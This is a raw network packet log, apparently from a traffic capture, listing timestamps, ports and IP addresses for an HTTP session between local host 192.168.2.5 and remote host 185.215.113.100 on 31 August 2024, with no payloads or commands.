Aug 31, 2024 10:14:14.991113901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991125107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991142035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991163015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991180897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991595030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991616011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991625071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991640091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991647005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991648912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991657972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.991660118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991698027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.991997004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992006063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992043972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992046118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992070913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992080927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992105007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992108107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992137909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992187977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992197037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992214918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992225885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992234945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992257118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992305994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992316961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992328882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992352009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992369890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992521048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992567062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992578030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992587090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992603064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.992609978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992624044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.992639065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993100882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993122101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993139029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993139982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993149996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993151903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993185043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993185043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993263006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993271112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993277073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993293047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.993313074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.993338108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.994754076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.994762897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.994781971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.994790077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.994806051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.994823933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.994839907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.995747089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995757103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995775938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995793104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.995811939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.995935917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995944023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995969057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995976925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.995980978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996001005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996020079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996042013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996062040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996072054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996077061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996094942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996108055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996139050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996149063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996165037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996176004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996186018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996200085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996552944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996563911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996584892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996599913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996618032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996829987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996840000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996857882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996866941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996877909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996887922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996898890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996913910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996922016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996944904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.996946096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996977091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.996994972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997004986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997028112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997041941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997313023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997322083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997340918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997356892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997379065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997487068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997497082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997515917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997524977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997529030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997544050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.997555971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.997575045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.999048948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.999059916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.999074936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:14.999100924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:14.999113083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000237942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000247002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000263929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000283003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000296116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000300884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000305891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000323057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000329971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000344038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000356913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000544071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000565052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000575066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000588894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000591040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000598907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000612020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000613928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000624895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000664949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000828981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000838041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000854015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000868082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000884056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000884056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000894070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000905991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000914097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.000922918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.000947952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001257896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001269102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001285076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001296043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001305103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001307964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001317024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001337051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001343012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001372099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001411915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001425028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001434088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001446962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001452923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001460075 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001461983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001472950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001477957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001492977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001507998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001512051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001518965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001533031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001542091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001553059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001555920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001560926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001569986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001585007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001593113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001594067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001602888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001617908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001626968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001638889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001651049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001698017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001713037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001732111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001734972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001749039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001763105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.001946926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.001981020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002007008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002016068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002032995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002038956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002055883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002063990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002317905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002340078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002348900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002370119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002370119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002377987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002388000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002393961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002396107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002412081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002412081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002434015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002439022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002446890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002460957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002464056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002479076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002487898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002491951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002502918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002512932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002525091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002526999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002533913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002552032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002571106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002590895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002598047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002605915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002640009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002649069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002657890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002674103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.002684116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.002712011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003182888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003206968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003230095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003247023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003617048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003627062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003647089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003655910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003662109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003674030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003679037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003683090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003700018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003705978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003709078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.003722906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.003746986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.077075005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.077088118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.077162027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140367031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140386105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140414000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140425920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140444994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140448093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140464067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140477896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140492916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140507936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140516996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140520096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140537977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140544891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140559912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140577078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140908003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140923977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140943050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.140953064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140969992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.140984058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141000986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141011953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141031027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141038895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141052961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141067028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141104937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141144037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141194105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141202927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141222000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141227007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141232967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141248941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141257048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141316891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141350985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141372919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141383886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141411066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141422033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141454935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141465902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.141495943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.141509056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.142894030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.142918110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.142927885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.142944098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.142961979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.143187046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143197060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143215895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143238068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.143249989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.143908978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143954039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143960953 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.143965960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143985033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.143996000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.144021988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.144706964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.144717932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.144737959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.144750118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.144762993 CEST	49704	80	192.168.2.5	185.215.113.100
